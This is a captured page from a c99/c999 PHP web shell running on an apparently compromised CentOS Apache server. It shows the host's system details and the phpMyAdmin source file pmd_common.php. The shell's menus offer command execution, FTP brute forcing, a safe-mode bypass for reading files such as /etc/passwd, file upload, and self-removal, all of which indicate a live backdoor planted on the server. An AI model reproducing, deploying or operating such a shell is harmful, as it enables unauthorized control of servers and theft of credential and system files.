!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/   drwxrwxrwx
Free 52.61 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pmd_common.php (9.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
' . "\n" .
    '// ' . "\n" .
        '' . "\n";
    //  return $GLOBALS['PMD'];       // many bases // not use ??????
}

/**
 * retrieves table column info
 *
 * @uses    $GLOBALS['db']
 * @uses    PMA_DBI_QUERY_STORE
 * @uses    PMA_DBI_select_db()
 * @uses    PMA_DBI_query()
 * @uses    PMA_DBI_num_rows()
 * @uses    PMA_backquote()
 * @uses    count()
 * @return  array   table column nfo
 */
function get_tab_info()
{
    PMA_DBI_select_db($GLOBALS['db']);
    $tab_column = array();
    for ($i = 0, $cnt = count($GLOBALS['PMD']["TABLE_NAME"]); $i < $cnt; $i++) {
        $fields_rs   = PMA_DBI_query('SHOW FULL FIELDS FROM '.PMA_backquote($GLOBALS['PMD']["TABLE_NAME_SMALL"][$i]), NULL, PMA_DBI_QUERY_STORE);
        $j = 0;
        while ($row = PMA_DBI_fetch_assoc($fields_rs)) {
            $tab_column[$GLOBALS['PMD']['TABLE_NAME'][$i]]['COLUMN_ID'][$j]   = $j;
            $tab_column[$GLOBALS['PMD']['TABLE_NAME'][$i]]['COLUMN_NAME'][$j] = $row['Field'];
            $tab_column[$GLOBALS['PMD']['TABLE_NAME'][$i]]['TYPE'][$j]        = $row['Type'];
            $tab_column[$GLOBALS['PMD']['TABLE_NAME'][$i]]['NULLABLE'][$j]    = $row['Null'];
            $j++;
        }
    }
    return $tab_column;
}

/**
 * returns JavaScript code for intializing vars
 *
 * @uses    $GLOBALS['db']
 * @uses    PMA_DBI_QUERY_STORE
 * @uses    PMA_DBI_select_db()
 * @uses    PMA_DBI_query()
 * @uses    PMA_backquote()
 * @uses    PMA_DBI_fetch_row()
 * @uses    PMA_getForeigners()
 * @uses    urlencode()
 * @uses    count()
 * @uses    in_array()
 * @return string   JavaScript code
 */
function get_script_contr()
{
    PMA_DBI_select_db($GLOBALS['db']);
    $con["C_NAME"] = array();
    $i = 0;
    $alltab_rs  = PMA_DBI_query('SHOW TABLES FROM ' . PMA_backquote($GLOBALS['db']), NULL, PMA_DBI_QUERY_STORE);
    while ($val = @PMA_DBI_fetch_row($alltab_rs)) {
        $row = PMA_getForeigners($GLOBALS['db'], $val[0], '', 'internal');
        //echo "
internal ".$GLOBALS['db']." - ".$val[0]." - "; //print_r($row); if ($row !== false) { foreach ($row as $field => $value) { $con['C_NAME'][$i] = ''; $con['DTN'][$i] = urlencode($GLOBALS['db'] . "." . $val[0]); $con['DCN'][$i] = urlencode($field); $con['STN'][$i] = urlencode($value['foreign_db'] . "." . $value['foreign_table']); $con['SCN'][$i] = urlencode($value['foreign_field']); $i++; } } $row = PMA_getForeigners($GLOBALS['db'], $val[0], '', 'foreign'); //echo "
INNO "; //print_r($row); if ($row !== false) { foreach ($row as $field => $value) { $con['C_NAME'][$i] = ''; $con['DTN'][$i] = urlencode($GLOBALS['db'].".".$val[0]); $con['DCN'][$i] = urlencode($field); $con['STN'][$i] = urlencode($value['foreign_db'].".".$value['foreign_table']); $con['SCN'][$i] = urlencode($value['foreign_field']); $i++; } } } $ti = 0; $script_contr = '' . "\n"; return $script_contr; } /** * @uses get_all_keys() * @return array unique or primary indizes */ function get_pk_or_unique_keys() { return get_all_keys(true); } /** * returns all indizes * * @uses $GLOBALS['PMD'] * @uses PMA_Index::getFromTable() * @uses PMA_Index->isUnique() * @uses PMA_Index->getColumns() * @param boolean whether to include ony unique ones * @return array indizes */ function get_all_keys($unique_only = false) { require_once './libraries/Index.class.php'; $keys = array(); foreach ($GLOBALS['PMD']['TABLE_NAME_SMALL'] as $I => $table) { $schema = $GLOBALS['PMD']['OWNER'][$I]; // for now, take into account only the first index segment foreach (PMA_Index::getFromTable($table, $schema) as $index) { if ($unique_only && ! $index->isUnique()) { continue; } $columns = $index->getColumns(); foreach ($columns as $column_name => $dummy) { $keys[$schema . '.' .$table . '.' . $column_name] = 1; } } } return $keys; } /** * * * @uses $GLOBALS['PMD'] * @uses count() * @uses in_array() * @return array ??? */ function get_script_tabs() { $script_tabs = '' . "\n"; return $script_tabs; } /** * @uses $GLOBALS['controllink'] * @uses $cfgRelation['designerwork'] * @uses $cfgRelation['db'] * @uses $cfgRelation['designer_coords'] * @uses PMA_DBI_QUERY_STORE * @uses PMA_getRelationsParam() * @uses PMA_backquote() * @uses PMA_DBI_fetch_result() * @uses count() * @return array table positions and sizes */ function get_tab_pos() { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['designerwork']) { return null; } $query = " SELECT CONCAT_WS('.', `db_name`, `table_name`) AS `name`, `x` AS `X`, `y` AS `Y`, `v` AS `V`, `h` AS `H` FROM " . PMA_backquote($cfgRelation['db']) . "." . PMA_backquote($cfgRelation['designer_coords']); $tab_pos = PMA_DBI_fetch_result($query, 'name', null, $GLOBALS['controllink'], PMA_DBI_QUERY_STORE); return count($tab_pos) ? $tab_pos : null; } /** * returns distinct values from $GLOBALS['PMD']['OWNER'] * * @uses array_values() * @uses array_unique() * @uses $GLOBALS['PMD']['OWNER'] * @return array owner */ function get_owners() { return array_values(array_unique($GLOBALS['PMD']['OWNER'])); } get_tabs(); ?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0052 ]--